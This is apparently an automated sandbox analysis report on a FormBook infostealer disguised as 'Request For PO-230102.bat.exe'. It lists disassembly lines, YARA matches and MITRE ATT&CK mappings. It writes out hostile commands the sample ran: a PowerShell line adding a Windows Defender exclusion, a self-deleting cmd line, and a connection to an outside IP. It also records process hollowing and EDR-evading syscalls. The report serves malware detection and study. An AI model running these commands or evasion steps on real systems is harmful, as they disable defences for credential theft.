          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166AB40 mov eax, dword ptr fs:[00000030h]4_2_0166AB40
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01648B42 mov eax, dword ptr fs:[00000030h]4_2_01648B42
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159CB7E mov eax, dword ptr fs:[00000030h]4_2_0159CB7E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01654B4B mov eax, dword ptr fs:[00000030h]4_2_01654B4B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01654B4B mov eax, dword ptr fs:[00000030h]4_2_01654B4B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01672B57 mov eax, dword ptr fs:[00000030h]4_2_01672B57
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01672B57 mov eax, dword ptr fs:[00000030h]4_2_01672B57
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01672B57 mov eax, dword ptr fs:[00000030h]4_2_01672B57
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01672B57 mov eax, dword ptr fs:[00000030h]4_2_01672B57
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164EB50 mov eax, dword ptr fs:[00000030h]4_2_0164EB50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01668B28 mov eax, dword ptr fs:[00000030h]4_2_01668B28
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01668B28 mov eax, dword ptr fs:[00000030h]4_2_01668B28
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674B00 mov eax, dword ptr fs:[00000030h]4_2_01674B00
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161EB1D mov eax, dword ptr fs:[00000030h]4_2_0161EB1D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CEB20 mov eax, dword ptr fs:[00000030h]4_2_015CEB20
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CEB20 mov eax, dword ptr fs:[00000030h]4_2_015CEB20
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162CBF0 mov eax, dword ptr fs:[00000030h]4_2_0162CBF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C0BCB mov eax, dword ptr fs:[00000030h]4_2_015C0BCB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C0BCB mov eax, dword ptr fs:[00000030h]4_2_015C0BCB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C0BCB mov eax, dword ptr fs:[00000030h]4_2_015C0BCB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A0BCD mov eax, dword ptr fs:[00000030h]4_2_015A0BCD
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A0BCD mov eax, dword ptr fs:[00000030h]4_2_015A0BCD
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A0BCD mov eax, dword ptr fs:[00000030h]4_2_015A0BCD
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CEBFC mov eax, dword ptr fs:[00000030h]4_2_015CEBFC
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A8BF0 mov eax, dword ptr fs:[00000030h]4_2_015A8BF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A8BF0 mov eax, dword ptr fs:[00000030h]4_2_015A8BF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A8BF0 mov eax, dword ptr fs:[00000030h]4_2_015A8BF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164EBD0 mov eax, dword ptr fs:[00000030h]4_2_0164EBD0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01654BB0 mov eax, dword ptr fs:[00000030h]4_2_01654BB0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01654BB0 mov eax, dword ptr fs:[00000030h]4_2_01654BB0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0BBE mov eax, dword ptr fs:[00000030h]4_2_015B0BBE
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0BBE mov eax, dword ptr fs:[00000030h]4_2_015B0BBE
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0A5B mov eax, dword ptr fs:[00000030h]4_2_015B0A5B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0A5B mov eax, dword ptr fs:[00000030h]4_2_015B0A5B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164EA60 mov eax, dword ptr fs:[00000030h]4_2_0164EA60
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6A50 mov eax, dword ptr fs:[00000030h]4_2_015A6A50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6A50 mov eax, dword ptr fs:[00000030h]4_2_015A6A50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6A50 mov eax, dword ptr fs:[00000030h]4_2_015A6A50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6A50 mov eax, dword ptr fs:[00000030h]4_2_015A6A50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6A50 mov eax, dword ptr fs:[00000030h]4_2_015A6A50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6A50 mov eax, dword ptr fs:[00000030h]4_2_015A6A50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6A50 mov eax, dword ptr fs:[00000030h]4_2_015A6A50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161CA72 mov eax, dword ptr fs:[00000030h]4_2_0161CA72
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161CA72 mov eax, dword ptr fs:[00000030h]4_2_0161CA72
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DCA6F mov eax, dword ptr fs:[00000030h]4_2_015DCA6F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DCA6F mov eax, dword ptr fs:[00000030h]4_2_015DCA6F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DCA6F mov eax, dword ptr fs:[00000030h]4_2_015DCA6F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DCA38 mov eax, dword ptr fs:[00000030h]4_2_015DCA38
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C4A35 mov eax, dword ptr fs:[00000030h]4_2_015C4A35
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C4A35 mov eax, dword ptr fs:[00000030h]4_2_015C4A35
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CEA2E mov eax, dword ptr fs:[00000030h]4_2_015CEA2E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162CA11 mov eax, dword ptr fs:[00000030h]4_2_0162CA11
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DCA24 mov eax, dword ptr fs:[00000030h]4_2_015DCA24
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A0AD0 mov eax, dword ptr fs:[00000030h]4_2_015A0AD0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D4AD0 mov eax, dword ptr fs:[00000030h]4_2_015D4AD0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D4AD0 mov eax, dword ptr fs:[00000030h]4_2_015D4AD0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015F6ACC mov eax, dword ptr fs:[00000030h]4_2_015F6ACC
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015F6ACC mov eax, dword ptr fs:[00000030h]4_2_015F6ACC
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015F6ACC mov eax, dword ptr fs:[00000030h]4_2_015F6ACC
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DAAEE mov eax, dword ptr fs:[00000030h]4_2_015DAAEE
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DAAEE mov eax, dword ptr fs:[00000030h]4_2_015DAAEE
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D8A90 mov edx, dword ptr fs:[00000030h]4_2_015D8A90
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AEA80 mov eax, dword ptr fs:[00000030h]4_2_015AEA80
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AEA80 mov eax, dword ptr fs:[00000030h]4_2_015AEA80
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E40FE7 GetProcessHeap,HeapAlloc,GetLastError,GetProcessHeap,HeapFree,14_2_00E40FE7
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E414D0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_2_00E414D0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E41720 SetUnhandledExceptionFilter,14_2_00E41720
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 85.13.166.18 80Jump to behavior
          Adds a directory exclusion to Windows Defender
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe"
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe"Jump to behavior
          Found direct / indirect Syscall (likely to bypass EDR)
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeNtQueueApcThread: Indirect: 0x152A4F2Jump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeNtClose: Indirect: 0x152A56C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeNtClose: Indirect: 0x19CA56C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeNtQueueApcThread: Indirect: 0x19CA4F2Jump to behavior
          Injects a PE file into a foreign processes
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory written: C:\Users\user\Desktop\Request For PO-230102.bat.exe base: 400000 value starts with: 4D5AJump to behavior
          Maps a DLL or memory area into another process
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeThread register set: target process: 4056Jump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeThread register set: target process: 4056Jump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeThread register set: target process: 4056Jump to behavior
          Queues an APC in another process (thread injection)
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Sample uses process hollowing technique
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection unmapped: C:\Windows\SysWOW64\cmstp.exe base address: E30000Jump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe"Jump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess created: C:\Users\user\Desktop\Request For PO-230102.bat.exe "C:\Users\user\Desktop\Request For PO-230102.bat.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E38DB2 AllocateAndInitializeSid,GetModuleHandleA,LoadLibraryExA,GetProcAddress,FreeSid,FreeLibrary,14_2_00E38DB2
          Source: explorer.exe, 00000006.00000002.3710247405.0000000004880000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271278603.0000000009013000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000009013000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000006.00000000.1273174188.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.3708318080.0000000001440000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000006.00000000.1273174188.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.3708318080.0000000001440000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
          Source: explorer.exe, 00000006.00000002.3706599285.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1272516776.0000000000C59000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1Progman
          Source: explorer.exe, 00000006.00000000.1273174188.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.3708318080.0000000001440000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeQueries volume information: C:\Users\user\Desktop\Request For PO-230102.bat.exe VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E41945 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,14_2_00E41945
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3F80E GetSystemInfo,GetVersionExW,14_2_00E3F80E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
          Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
          Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity Information1
          Scripting          		Valid Accounts1
          Windows Management Instrumentation          		1
          Scripting          		1
          Abuse Elevation Control Mechanism          		11
          Disable or Modify Tools          		OS Credential Dumping1
          System Time Discovery          		Remote Services1
          Archive Collected Data          		2
          Ingress Tool Transfer          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault Accounts1
          Shared Modules          		1
          DLL Side-Loading          		1
          DLL Side-Loading          		1
          Deobfuscate/Decode Files or Information          		LSASS Memory2
          File and Directory Discovery          		Remote Desktop ProtocolData from Removable Media1
          Encrypted Channel          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain Accounts3
          Command and Scripting Interpreter          		Logon Script (Windows)1
          Access Token Manipulation          		1
          Abuse Elevation Control Mechanism          		Security Account Manager215
          System Information Discovery          		SMB/Windows Admin SharesData from Network Shared Drive2
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook612
          Process Injection          		4
          Obfuscated Files or Information          		NTDS241
          Security Software Discovery          		Distributed Component Object ModelInput Capture12
          Application Layer Protocol          		Traffic DuplicationData Destruction
